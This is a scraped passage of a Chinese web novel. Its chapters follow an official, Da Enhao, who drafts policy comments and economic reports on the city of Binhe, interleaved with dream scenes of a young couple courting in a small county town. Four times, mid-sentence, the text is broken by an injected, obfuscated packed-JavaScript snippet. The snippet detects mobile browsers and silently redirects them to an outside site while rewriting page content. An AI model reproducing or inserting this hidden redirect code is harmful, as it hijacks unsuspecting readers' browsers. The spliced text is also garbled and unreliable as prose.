这小伙儿和这美女以前光在房间里谈恋爱，很少在外面压马路，在这美女身旁边走着，边体验这美好的时光，多么幸福，多么甜蜜，多么温馨，多么浪漫！真是感觉别有一番风味。 两个年轻异性，一并排走着，虽然一人推自行车，一个空手，但一看就是一对儿。他们俩个沐浴在虽然人不多，但有些保守封建的小城人们的异样眼光里。这小伙儿和这美女也不在乎，只顾走自己甜蜜幸福的北上之路。 “叽叽喳喳”窗外的一阵鸟叫声，把达恩豪从梦中拉到了现实的床上…… …… 这天早上达恩豪正在单位上班，单位秘书处送过来一份文件请他签收，达恩豪签字接了这文件一看，又是单位“一把手”金学盛主任批来的一个文件，“请恩豪处长办理”，翻后面一看，又是一个修改提意见建议的交办件。达恩豪停下手中的活儿，开始忙这个工作，这个时间要求紧，又是一个小材料，就先干这个。 写材料搞调研的任务，就像割韭菜一样，一茬子还没有割完，前面割到的一茬就长起来了，又要割，这一茬割完了下一茬又起来了，永远感觉割不完，材料和调研工作一直感觉写不完搞不完。 达恩豪又自觉逼死自己成亿上兆的脑细胞，加班加点地干，又是研究这个《意见》文本，又是撰写修改意见建议，花了多半天时间，终于把这个尕材料写出来了，打一份清样稿，拿给金学盛看了，没有提修改意见，批示是同意上报。这个《修改意见》他就写了不满2页，共800多字，他记得，大致内容是这样的： “《关于深入实施六大行动加快促进农民增收的意见》 修改意见 此《意见》关注最大的民生问题，充分体现了党和政策对“三农”的支持和关怀，是惠民之举和德政之策。《意见》总体上写得很好，做了大量工作，下了功夫，切实贯彻了以人为本科学发展的思想，坚持了因地制宜实事求是的原则，内容具有很强的政策性、指导性、实用性和系统性，语言文字精练，结构严谨，为更加完善，现提出如下修改建议： 1、生产环节写得很到位，但在农村二、三产业和物流业、服务业上表述不够，相应的政策措施有点不足。在指导思想上增加“强化农业基础地位，积极发展“优质、高产、高效、生态、安全”的现代农业，并把大力推进滨河特色现代农业与着力开发农村非农产业有机结合，加快城乡产业、物流、经济的对接和“双向”互动交流，促进农业增产、农民增收、农村经济繁荣”的内容，这符合中央和国家依靠内需拉动经济增长和转变发展方式的精神，建议在“一、（三）”中有所体现。 2、培育壮大涉农龙头企业和产业，是延伸农业产业链实现增值增收的薄弱环节和潜力所在，建议在“二、（三）、3”中，在建设的量化指标和形象进度方面，有所表述。 3、加强农村基础设施建设，是发展农村经济增加农民收入的硬件环境措施，特别是我市农村大型骨干水利工程设施设备老化，效益衰减，更新改造是当务之急，建议在“四、（二）、1”中，在改造建设的形象进度及量化指标上有所体现。 4、建议在“四、（四）、1”中，增加“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539390|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加强农业科研工作，实行‘产学研’结合，支持农业科研院所和农业大中专院校的与农村合作，研究破解农业生产中的技术难关”的内容。 5、试点推广农业风险基金，与订单农业相结合，市场价格高于订单价格时，征收基金，市场价格低于订单价格时，风险基金补贴农户，提高抗卸市场风险的能力。建议在“四、（一）、2”中增加此内容。 6、在农产品精深加工龙头企业扶持上，新办具有一定规模的骨干企业，实行营业税、增值税等适当减免，免两年，减半三年征收，以及加快提取设备折旧费，“绿色通道”市管路桥费减免等优惠政策。 ……” “叮铃铛铛……”突然，一阵熟悉的木琴音乐彩铃声响起，达恩豪正在编写修改一份课题材料，一听同时感觉到自己的手机也在震动，赶紧从裤兜里掏出来自己的手机来一看，屏幕发亮，立即点绿圆点接听。 “刘所长你好……不忙……干呢，谢谢……行……行……好的，再见！”是滨河市社科院经济研究所的刘所长打来的电话，先问达恩豪最近忙不忙，回答不忙，再问有个写材料的活儿干不干？痛快地回答干呢，然后就是交待材料的质量要求，特别是强调钱不多，大概交稿的时间，最后就互相道别挂机了。 达恩豪装回手机到右裤兜里，开始思谋刘院长这个事情。刘所长说是市上掏钱，由市社科院为主组稿编辑，出一本蓝皮书，书名叫《滨河市2008年经济社会发展报告》，是河陇省经济社会发展报告蓝皮书的丛书之一。达恩豪非常重视，赶紧抽时间，挤时间，加班加点地爬电脑，找资料，查网页，分析思考，计算核实整理数据，反复修改。花了三四天时间，写出来了第一稿，共29页约1.5万多字，又用十天的时间修改增补，第二稿成稿共42页，约2.2万多字，又利用5天时间，修改压缩提炼，形成第三稿，共11页约1万余字。达恩豪立即微信发送给刘所长，第二天，刘所长回过来微信：“收到！谢谢！”他记得大体内容，简要如下： “滨河市第三产业形势分析及预测 自1994年滨河市被国家确定为商贸中心改革试点城市以来，作为具有滨河第三产业重要组成部分和发展里程碑意义的滨河商贸中心建设，经过10多年的努力，已经成为滨河市第三产业发展的高地。滨河作为西北商贸中心的地位已经确定，基本形成了包括10大富有特色的区域性批发市场、5大生产要素市场、8个繁华商业小区和５大配套服务体系的４个功能区。第三产业增加值占GDP的比重逐年提高，到现在已形成了GDP半壁江山之势。三次产业间结构发生了由量变到质变的深刻变化，经济发展格局已由“二、三、一”的顺序，转变为第三产业与第二产业并驾齐驱，并正在进入第三产业领跑GDP的“三、二、一”产业发展阶段。 70. 第 70 章 第七十章三产研究 一、第三产业的发展现状及重要作用 （一）第三产业快速发展成为滨河经济重要的动力源 2007年，滨河市第三产业增加值达到370.59亿元，是商贸中心建设之初的1995年的4.77倍，第三产业增加值占GDP的比重达到50.57%，其中非公经济占整个第三产业的比重达到63.79%，社会消费品零售总额达到337.57亿元，第三产业仅城镇单位从业人员就业就达26.95万人（尚不包括未纳入统计的隐性从业人员），占全部城镇单位从业人员的50.1%，首次超过第二产业,首次超过半数。仅以2005年数据分析显示，第三产业创造税收33.12亿元，占当年全市财政税收的49.63%。表明，滨河市三次产业间结构不断优化，第三产业已超过第二产业，成为滨河经济发展的支柱产业，是促进经济内部结构调整、吸纳城乡劳动力就业、拉动城市经济快速发展的又一动力源。 （二）消费增长成为三产发展的主要推动力 2007年滨河市社会消费品零售总额达337.57亿元，比上一年增长16.52%，与全国16.58%的水平仅低了0.06，与其他许多经济社会发展指标落后于全国水平相比，滨河社会消费品零售总额的增长水平与全国水平基本持平，而且占了全省的40.92%。2007年城市居民人均消费性支出8049.75元，农民人均生活消费性支出2420.03元，城乡居民人均消费10469.78元，比上一年增长了12.12%，比2000年增长了2.6倍。2008年前五个月社会商品零售总额的快速增长对滨河的第三产业发展起了较大的推动作用。 （三）固定资产投资的有力增长拉动了三产的增长 2007年滨河市全社会固定资产投资总额达到358.61亿元，比上一年增长20.26%。按产业划分，其中第一产业2.95亿元，增长24.27%；第二产业134.36亿元，增长18.52%；第三产业投资总额216.43亿元，增长21.34%。2008年1至5月份，滨河市全社会固定资产投资总额累计达89.13亿元，增长19.85%，按产业划分，第一产业1.15亿元，第二产业45.04亿元，比上一年同期增长14.65%，而第三产业继续维持在高位增长，投资总额42.94亿元，比上一年同期增长达26.31%。第三产业自身投资的迅速增长拉动了第三产业的增长。同时，全社会固定资产的投资增加，城市基础设施建设的加快，交通基础设施建设的加快，运输能力的提高，仓储运输业的发展，都对第三产业的快速增长，产生了强力影响作用，有力的促进了滨河第三产业的强力发展。 （四）房地产业迅速发展是第三产业发展的有力支撑 2007年房地产开发投资总额完成74.45亿元，比上年增长38.35%,其中商品房建设投资额达到58.09亿元，比上年增长40.11%,土地开发投资总额达到5.57亿元，比上年增长79.1%。房地产业开发投资占第三产业总投资的34.4%，超过了三分之一，房地产开发投资的强劲增长，势必带动房地产业的迅猛发展，以至于整个第三产业的发展。2007年全市房屋施工面积达到1795.49万平方米，其中住宅面积达到1077.68万平方米；房屋竣工面积达到547.25万平方米，其中住宅竣工面积达到292.86万平方米,比上年增长1.54%，表明房地产业仍在高位持续稳定增长；商品房屋销售面积达到214.39万平方米，仍比上年增长3.99%，其中商品住宅销售面积达到201.63万平方米，也比上年增长4.0%，表明房地产销售增长基本稳定；商品房屋销售额完成60.02亿元，比上年增长13.89%，其中商品住宅销售额达到54.78亿元，也比上年增长15.18%，证明商品房销售价格和收益稳定增长；商品房屋出租面积达到24.32万平方米，比上年增长11.51%，显示商品房租赁服务业发展较快。2006年仅全市建筑业总产值达到141.83亿元，占地区生产总值的22.2%，因此，房地产业已成为第三产业中成长最快、最有活力、也最具效益和效率的新型产业，不仅房地产业本身持续快速发展形成了第三产业的增长极，更重要的是与此同时也为其它相关第三产业的发展提供了重要条件。 （五）金融保险业保持平稳较快增长推动滨河向区域性金融中心迈进 2007年底全市金融机构存款余额为1791.12亿元，比上年末增长10.87%；城乡居民储蓄存款达71.52亿元，比上年末增长3.31%；金融机构贷款余额为1346.58亿元，比上年末增长13.26%；全市金融机构现金净回笼95.84亿元，比上年末增长24.55%…… （六）非公经济在三产发展上的强力促进效应更加显现 2007年，我市非公经济增加值达到236.4亿元，比上年增长21.25%，非公经济增加值占地区生产总值的比重，由上年的30.5%提高到32.3%，提高近2个百分点，实际增长1.8个百分点，非公经济增加值占第三产业的比重，由上年的59.9%提高到63.8%，大幅提高近4个百分点，实际增长3.9个百分点。非公经济为已成为第三产业的主要实现形式、主要市场主体和主要经济成份。事实证明，非公经济不仅是整个经济的最有活力的增长点之一，而且也是推动第三产业发展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14550315|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的最强劲动力之一。 二、第三产业发的结构性矛盾分析 （一）产业结构低端形态的比重较大阻碍了产业的叠进型增长 一是主要集中在传统行业的发展上。2007年批发零售业实现零售额270亿元，比上年增长17.04%，占社会消费品零售额的比重达79.98%；住宿餐饮业实现零售额55.6亿元，比上年增长14.68%，占社会消费品零售额的比重达16.47%。批发零售业的增长幅度明显高于三产中其他行业的增幅1.9个百分点…… 二是生产型服务业所占比重较低，物流、金融、信息、旅游、餐饮、文化等现代服务产业发展较为缓慢。2007年公路货运量比上年只增长4.55%，而全市的客运量却增长达7.1%；城乡居民储蓄存款比上年只增长了3.31%…… 三是第三产业的发展水平和层次不高，竞争力不强。第三产业与第二产业相比较，2007年第三产业比重为50.57%，位居第一，高于第二产业4.7个百分点，但对经济增长的贡献率却为41.81%，反而比第二产业低15.32个百分点，这显然表明，第三产业拉动经济增长的力量较大幅度地弱于第二产业。国民经济“粘合剂”的功能作用没有真正发挥出来，与一二产业和整个经济社会发展联系不紧密、不协调，缺乏良性互动和有机联系的机制，没有充分有效地衔接需求和供给两个层面，符合滨河实际和发展要求的特色第三产业集群还没有真正形成…… 四是第三产业的业态形式较为单一，新型业态发展没有得到快速推广。我市第三产业以传统服务业为主体和基础，主要是常规的交通运输业，百货零售批发业，传统旅游业等，约占70—80%，而连锁经营、特许经营、物流配送、电子商务等新型业态，现代物流业、第三方和第四方物流、服务外包和衍生服务等新型第三产业才刚刚起步…… （二）产业结构不合理仍处在累进型增长阶段 一是第三产业的横向空间结构尚不完善，产业聚集小，聚集效应难以显现…… 二是纵向结构不合理，商品市场发达，要素市场发展相对滞后…… （三）缺乏龙头行业导致辐射效应难以发挥 我市第三产业缺乏龙头产业和产业集群，对整个经济的引领作用和对其他新兴产业的催生作用没有得到充分发挥。传统服务业中，一是没有形成产业集群，二是业态陈旧单一，竞争力不强，不能真正发挥辐射带动作用，而且，传统第三产业正在市场机制和政府政策的双重作用下，在新技术不断发展的基础上开始脱胎换骨，实现再造，处于不断的优化重组的不确定发展之中。新型第三产业的规模普遍较小，形成龙头企业和产业还需要一个成长壮大的过程和时间。 71. 第 71 章 第七十一章跟班抢付 （四）第三产业内部结构低水平均衡造成劳动生产率低下 一是第三产业的社会化水平比较低。我市第三产业的内部结构低端化，低水平，服务手段单一落后，产业涉及的服务领域和范围比较狭窄、传统，加之规模偏小，虽然有服务，但不是功能重复，就是辐射带动的范围不大，造成第三产业的劳动生产率低下。二是第三产业的劳动生产率低于第二产业…… 三、滨河第三产业发展的预测分析 （一）预期条件的预测分析 一是随着交通条件的不断改善，滨河“座中四联”的区位优势得以进一步巩固，为第三产业发展提供了良好的外部条件…… 二是投资结构调整的力度不断加大，投资需求较快增长为第三产业发展带来了新的机遇…… 三是城乡居民消费结构从生产型向享受型和发展型转变成为第三产业发展的强大动力…… 四是滨河产业结构的调整进程的加快，对第三产业发展提供了强大的动力支撑…… 五是物价继续高位运行对第三产业发展的影响弊多利少…… 六是市场开放程度不断提高，为我市第三产业的发展注入了新的活力…… （二）预期指标的预测分析 在“十一五”末或更短的时间内，预计第三产业产值年均增长速度将继续保持高于GDP的增长速度，第三产业产值占GDP的比重预计将达到60%以上，第三产业中非公经济的比重预计将达到65%以上，第三产业吸纳的城乡从业人员占全市就业人员的比重预计将达到60%以上，预计第三产业创造税收将占全市财税收入的60%以上…… 四、加快滨河第三产业发展的对策 （一）选准重点发展领域，精心培育，形成龙头行业 一是依托滨河比较优势和后发优势…… 二是大力开发新型产业，如电子商务、第三方和第四方物流业等…… 三是大力推进农村第三产业的发展…… （二）做大做强战略产业，形成辐射带动作用 一是发展金融服务业…… 二是改造提升交通运输仓储业…… 三是做大做强旅游业，形成带动其他产业的辐射源…… （三）继续加大投入力度，为第三产业发展提供有力保障 一是建立奖励激励机制…… 二是建立长效的三产扶持机制…… （四）优化第三产业发展环境，努力营造良好氛围…… （五）加快人才队伍建设，形成产业发展的智力支撑体系……” 下午下班，达恩豪回到家里，老婆黄爱佳做好了饭，等他回来一齐吃。今天的晚饭是拉条子，菜是西红柿炒鸡蛋，踏了蒜泥，油波辣子，还有芝麻酱，醋。把拉条子先放上少许蒜泥，辣子，芝麻酱，浇上醋，搅拌均匀，搅拌透了，然后，把西红柿炒鸡蛋放到拉条子上，搅拌均匀，吃起来很香。 达恩豪吃完饭，打开电视，老婆黄爱佳收拾完了厨房，两个人坐在沙发上看电视，看完了新闻再看两集电视连续剧，看完了电视剧关了电视休息。 达恩豪躺在床上，心里犯迷糊，不一会儿就睡着了…… 这小伙儿在小县城南边的轻骑道上行走，这时，两手里还推着个自行车，身旁边一并排走着这个美女，是细眉长眼的美女服务员。 这小伙儿不知道为什么，此时，心里感觉非常地甜蜜，无比地幸福，原来是身边有一位美女在陪着！这样了机会不多，他十分地珍惜！ 这美女不知道为什么，此时，也心里感觉特别地甜蜜，非常地幸福，原来是身边有一位帅哥在陪伴！这样的时候少见，她心情地享受！ 欢乐的时刻总是短暂的，一对恋人不觉已从小县城南面的兰原县医院，路过佛洞小学的小巷，走到了街道对面是农贸市场的地方。 “小达，我们到农贸市场买点菜。”这美女站在这里的马路旁边，细眉长眼温情脉脉地瞧着身旁的这小伙儿，微笑着甜甜地这样说道。 “好的，走呀！”这小伙儿站在这美女旁边，浓眉圆眼情意绵绵地望着身过的这美女，笑着很温馨地这样回答道。 这一对年轻异性男女，等大街中间的马路上无上下穿行的汽车时，才两个人加一辆自行车，小跑步一样过了马路。 走进一条东西向的巷道里，是这个小县城除了火车站菜市场以外的唯一一个市场。小县城共有二个菜市场。这美女从这儿买菜顺路，火车站菜市场在食品公司的她家的北面，还要走一段路。 这个小县城人不多，这个农贸市场商户不多，稀稀拉拉有能数过来的十几家。 一对青年男女，推着一辆自行车买菜。转进去，再转出来，这美女看上了一商贩的油菜，挑了两把子，这美女掏钱时，这小伙儿抢先掏出钱付了。并把装油菜塑料袋，挂进了一边的自行车把上。 这美女又挑选了旁边商贩的西红柿，七八个装一塑料袋，这小伙儿又故伎重演，抢先付了钱。然后把这袋菜挂到另一边的自行车把上了。 “我买菜怎么能叫你付钱？我把钱还给你。”这美女有点不好意思，脸红着对这小伙儿这样说道。一双热恋中的异性年轻人，推着自行车满载而归了。 “不用不用，我老在你那儿蹭饭吃，从来没有买过菜，现在就算补一点儿。”这小伙儿也有点不好意思，赶紧这样解释道。 “买菜还要跟个保镖？！”两个人走到农贸市场的巷口左拐，继续向北而行，这美女碰上一熟人，两人者站住了，上下打量一番这小伙儿，笑着跟她开玩笑这样说了一句。 “不是，是跟屁虫！”这美女看一眼也跟着站在旁边的这小伙儿，然后对这和这美女年龄相仿的年轻女人调侃一句道。 “恐怕是唱的天仙配，夫妻双双把家还！”这个青年女又开了一句玩笑话，和这美女告别走了。这美女和这小伙儿继续推车捎带两塑料菜往北走…… 达恩豪被一阵汽车发动机的轰鸣声音吵醒了，抓过手机一看，刚好起床时间到了。 起床，上卫生间，洗脸，吃早餐，达恩豪走到单位上班。一会儿，办公室送来一份复印学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566543|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的材料，给课题组成员的。达恩豪仔细阅读，发改委就是发改委，写得挺不错的，他记得，具体内容如下： “培育构建兰州都市经济圈促进区域经济又好又快发展 滨河市发改委 一、对都市圈的基本认识 大都市圈是以一个发达的中心城市为核心，以便捷的交通网络为依托，吸引辐射邻近城市与区域，促进城市之间有机联系与分工协作，并且具有经济社会一体化发展倾向，可以实施有效规划和管理的圈层式城镇空间协调发展区域。1960年，日本行政管理厅提出，大都市圈至少应从区域内居民日常的生产与消费两个方面考虑，大都市圈指标规定：中心城市人口规模在100万以上，邻近有50万以上人口的城市，外围地区到中心城市的通勤率不小于中心城市人口的15%。都市圈之间的物资运输量不超过总运输量25%。我们国内的专家提出，都市圈是由中心城市和外围非农业化水平比较高，并且与中心城市存在着密切联系的邻近地区两部分组成，外围县市社会劳动力60%以上从事非农产业活动，外围县市非农产业增加值占生产总值75%以上。 都市圈建设是中心城市和区域经济社会发展和演进到一定阶段的必然产物，又是城市群体之间竞争和协作的客观要求，也是重新构造区域分工的重要途径。中西部地区迅速崛起形成的……为培育和构建滨河都市圈提供了可借鉴的经验和做法。 2007年1月，国府院批准的《西部大开发“十一五”规划》中提出：“鼓励……滨河—……等区域依托交通干线，加快形成有特色的城市带。鼓励城市圈集聚发展。……在有条件的地方建设国际物流中心和设立保税区，着重发展贸易加工业。”滨河处在工业化的进程中的以内聚为主和向外扩散的发展阶段，充分发挥黄河上游最大的中心城市的作用，深入贯彻落实科学发展观，注重统筹城乡发展、统筹区域发展，培育构建滨河都市经济圈，是滨河与邻近关联区域实现经济社会又好又快发展的客观要求。 近几年，省发改委、省建设厅着眼于促进全省区域经济合理布局、整合生产要素、增强中心城市核心竞争力，分别编制了《滨河经济区“十一五”经济社会发展规划》、《滨河都市圈规划纲要》，分别提出了要把滨河建成黄河上游沿岸经济带与……经济带交汇的枢纽型经济区的构想；提出了要把滨河建成经济发达、社会和谐、空间集约、生态优良、经济社会一体化的现代化都市圈的构想。 滨河市在研究城市发展战略和编制“十一五”规划中根据省上对滨河未来发展的要求，提出了把滨河建成西部区域性现代化中心城市的目标和培育构建滨河都市经济圈的构想。按照全市“十一五”规划中提出的构建滨河都市经济圈的基本思路，近几年，在国家和省上的大力支持下，我市在城市基础设施建设、生态环境保护、特色产业发展、企业出城入园、以改善民生为重点的社会事业发展、以及与周边兄弟州市之间经济社会融合、生产要素集聚、发挥辐射带动作用等方面取得了明显成效，与西部各省会城市之间的经济联系与合作交流更加密切。 72. 第 72 章 第七十二章建都市圈 二、构建滨河都市经济圈的基本思路 1、滨河概况。滨河在西北地区处于座中四连的位置，是黄河上游最大的中心城市。总面积1.3万平方公里，城区面积1600平方公里，建成区138平方公里。2007年，全市户籍总人口329.43万，其中：市区人口208.03万人，非农业人口198.53万人，农业人口120.75万人。居住着汉、回、藏、东乡等38个民族，少数民族约14万人。城市化水平60%。 上个世纪五十年代，滨河在国家的宏观布局和政策支持下，加快了工业化和城市化的进程，经过50多年的建设，尤其是改革开放30年的发展，滨河形成了比较明显的经济区位、交通通讯、工业基础、市场集散、科技人才等五大优势，成为促进东西部交流的桥梁纽带和带动全省经济发展的核心增长极。2007年，全市生产总值达到732.76亿元，人均生产总值22318元，全社会固定资产投资358.61亿元，地区财政收入完成134.1亿元，一般预算收入46.6亿元。城镇居民人均可支配收入10271元，农民人均纯收入3103元。 2、建设和发展存在的突出问题。一是土地后备资源严重不足，城区人口过度集中，建设密度过高，交通不畅。二是资金短缺，融资渠道单一，资本市场不发达，资本运营能力不强。三是生态环境脆弱，绿地覆盖率低，大气环境质量不高，城市自然保护屏障十分薄弱。四是轻重工业、传统产业和新兴产业之间的结构性矛盾依然十分突出。尤其缺乏重大项目的布局和拉动，经济增长缺乏后劲。五是城乡二元结构特征突出，滨河是典型的“孤岛型”城市，城市与农村经济社会发展反差明显。工业企业过度分布在城区，且产业关联度松散，不易形成向外扩散的产业链，严重削弱了城市对整个区域的辐射带动作用。六是中心城区与城镇之间缺乏二级卫星城市的传导，影响了经济、技术、人才等要素的扩散，制约了城市集聚辐射效应的发挥。 三、构建滨河都市经济圈的基本思路和预期目标 培育和构建滨河都市经济圈的基本思路是：继续推进西部大开发，以全面建设小康社会为目标，深入落实科学发展观，统筹城乡发展和统筹区域经济发展，实施“东扩西展，南升北拓”的城市空间布局战略，以城市基础设施和生态环境建设为切入点，以结构调整为主线，加快老工业基地改造和新兴产业发展，以“三大组团、五条经济带”为空间和产业布局，加快三县县城和重点小城镇建设，沟通周边城市。依托现有高速路网，按一小时高速公路行程，培育和构建以滨河为中心、包括……在内的“四方六边”产业互补、功能连接、优势产业特色鲜明，区域集聚辐射带动能力和核心竞争力强的滨河都市经济圈。 （一）城市发展目标 “十一五”期间，努力保持经济以两位数增长，经济社会发展主要指标在全国省会城市和西部城市中排位不断前移，为提前六年实现全面建设小康社会奠定坚实基础。经过五年乃至更长时间的努力，把滨河建成充分展现黄河文化底蕴、具有现代工业特色的西部区域性中心城市。即：建成西部地区最大的石油化工、有色冶金新材料工业基地；西北地区最大的交通、通信枢纽，商贸物流和高原特色蔬菜生产集散中心；建成黄河上游具有独特地域风情、富有个性魅力和生态环境、人居环境优良的民主开明、稳定有序、安居乐业、科学文明和经济繁荣的现代化城市。 （二）经济总量目标 生产总值年均增长12%，2010年突破1000亿元；人均生产总值年均增长10.8%，达到30000元；工业增加值年均增长13.5%，达到370亿元；全社会固定资产投资年均增长14%，达到500亿元；一般预算收入年均增长13%，达到53亿元；财政公共投入年均增长10%；社会消费品零售总额年均增长11%，达到430亿元。 （三）经济结构调整目标 三次产业增加值比重由2005年的3.9：44.09：52.01调整到2.8：46.2：51。科技进步对经济增长的贡献率有较大提高；高新技术产业增加值占工业增加值的比重达到20%；非公有制经济实现增加值占全市GDP的比重达到40%以上。 （四）社会发展目标 城镇居民人均可支配收入年均增长10%，达到13700元；农民人均纯收入年均增长7%，达到3800元。全市基本普及高中阶段教育，人均综合受教育年限11年。人口自然增长率控制在5.8‰以内，全市户籍总人口达到330万人，年均增长1.2%；城镇人口登记失业率控制在4.5%以内，城镇新增就业岗位20万个，输转城乡劳动力150万人次。 （五）生态环境目标 市区空气质量全年好于二级的天数达到280天。城市污水处理率达到70%左右；全市森林覆盖率达到15%；城区人均公共绿地面积达到12平方米；综合能耗降低20%，单位产值万元生产总值能耗降低到2.1吨标准煤以下。 四、构建“三大组团五条经济带”的城市空间和产业布局 继续实施“东扩西展，南升北拓”的城市空间布局战略，按照“三大组团，五条经济带”的产业布局，拓展城市与产业发展空间，构建以滨河中心城区为核心——卫星城市为纽带——区域中心镇为扩散点的城镇体系和大中小呼应的城市体系。依托现有工业基础，发展石油化工、有色冶金、机械装备制造、高新技术、农副产品加工产业群和农产品加工贸易，逐步培育形成以滨河为中心的都市经济圈。 “三大组团，五条经济带”就是以自然形态的滨河河谷川盆地……三大组团市域空间及沿由滨河向周边辐射的五条高速公路展开的延绵经济带。 （一）加快三大组团建设 1、滨河河谷川盆地组团。区域面积220平方公里，建城区167 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578430|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平方公里，主要是强化交通通信、金融贸易、科技教育、文化娱乐、综合管理、信息服务等城市综合服务功能。产业发展重点是：石油化工、有色冶金新材料、装备制造业、高新技术产业和都市型服务业。对现有污染企业实施“出城入园”，逐步向远郊县区工业园区调整扩散，逐步形成由城市核心区向外围层辐射扩散、协调发展的一体化格局。以市级行政中心迁移为契机，加速……新城区建设，全面启动道路、供水、污水、通信等基础设施建设。按照规划布局建设金融贸易、科研教育、体育运动、文化娱乐、工业生产、居住生活、综合管理等八大功能区。规划建设体育中心、大剧院等一批大型公共工程，创造良好的人居住环境，疏解城关区的人口、交通和环境压力。 在黄河北部沿岸一带实施总面积267平方公里移山造地项目，拓展河谷川盆地城市发展用地空间，进行组团式开发，在确定的……初步定位“城市工业新区”，……片初步定位“城市综合发展区”，集中规划建设城市工业新区、商业贸易区等，配套建设各类服务设施。把新开发的山台地建成功能分区鲜明、配套设施齐全、转移和吸引各类企业的新型都市工业区和商住区，预计用5--7年的时间基本完成土地整理开发。 2、槐间……盆地组团。是滨河“东扩”拓展经济发展的新空间，区域面积约175平方公里。以……开发建设为基础，超前规划滨河都市新区。整个区域作为促进科技教育、新兴产业和生态旅游业的新区域进行规划建设布局。按照“统一规划、合理布局、分期实施”的原则做好产业区、学院区、商贸居住区、生态区等功能分区布局，最大限度地实现区内各种资源的共享和优势互补。 3、北大川盆地组团。整个区域总体地势平坦，面积约925平方公里（有耕地38.5万亩，其中水浇地25万亩），充分利用北大川土地后备资源、国际航空港、引大水利工程的三大优势，积极接应滨河……两大城市的产业和人口转移，北大川区域远期规划建成滨河副城区。近期以综合开发为方向，培育新型产业，优化传统产业，以农业结构调整、北大川空港循环经济产业园、小城镇建设为建设重点。农业综合开发充分发挥……灌溉工程的作用和效能，发展节水、生态、效益型农业。着力进行生态经济大防护林网建设，实施深耕改土和盐渍化防治，增加土壤有机含量。发展鲜食玉米、专用小麦、啤酒大麦、中药材、花卉、玫瑰、苜蓿草业的联片种植，扩大特种珍稀动物规模化养殖，发展节水生态农业、农产品加工业、仓储业和农产品加工贸易。加快北大川航空港、省北大川高科技农业开发示范基地、北大川空港循环经济产业园、小城镇中心区等重点建设。积极争取国家和省上支持在北大川空港循环经济产业园建立集出口加工、物流储运、商品展示、贸易服务等功能的综合保税区，按照国际惯例实行集中统一封闭性管理，吸引国内外大公司或企业集团设立出口创汇企业，发展国际服务贸易，形成鲜明的特色区域经济。 73. 第 73 章 第七十三章考察通知 （二）构建沿五条高速公路经济带 根据统筹城乡经济协调发展的要求和水资源、交通及用地条件，产业发展布局是：以中心城区为辐射源，沿高速公路交通干线、沿河谷川地带五条轴线展开。 1、沿黄河……河西向经济带。这条轴线包括……等城镇。工业，重点发展水电、火电、煤化工、有色冶金新材料、新型建材等产业。鉴于这条轴线处在市区的黄河上游地带，严格工业项目的环境配套保护措施，严格执行工业“三废”的排放标准，对工业污染物排入实行总量控制。农业，加快47个坪台地开发利用，发展台地粮食、瓜果、养殖、用材林生产。河谷川地带发展冷凉性蔬菜、果品、水产和畜禽养殖业，按照产业化、标准化的市场要求，扩大无公害绿色农产品的生产规模，建成……5万亩高效农业科技示范园。建设精细蔬菜、优质果品、农产品加工储运基地，扩大奶牛繁育养殖和奶产品生产加工规模，发展农产品加工贸易业，形成接……黄河的百公里绿色生态经济长廊。在滨河……两大城市之间形成强有力的经济支撑点。 2、沿滨河至……高速公路东向经济带。依托……开发区、……大宗蔬菜生产批发基地、……大学城，发展钢铁和有色冶金新材料、生物制品、农产品加工贸易、储运配送等产业。建设精细蔬菜、肉蛋禽奶生产基地和大宗蔬菜物流中心，发展城郊生态旅游产业。积极争取国家和省上的支持，改造现有的……等水利提灌设施，以满足迅速发展的……开发区、……大学城和灌区人民群众生活生产用水需求。积极配合省上实施……供水工程建设，2010年前后彻底解决槐间……盆地水资源的制约问题，为滨河市区东扩打下良好基础。 3、沿滨河……高速公路北向经济带。以……工业园区、兰原县城和……工业园区建设为重点，发展精细化工、特色食品、生物医药、机械制造、饲料加工、新型建材、农产品加工贸易业，积极接应滨河……两大城市的产业转移。 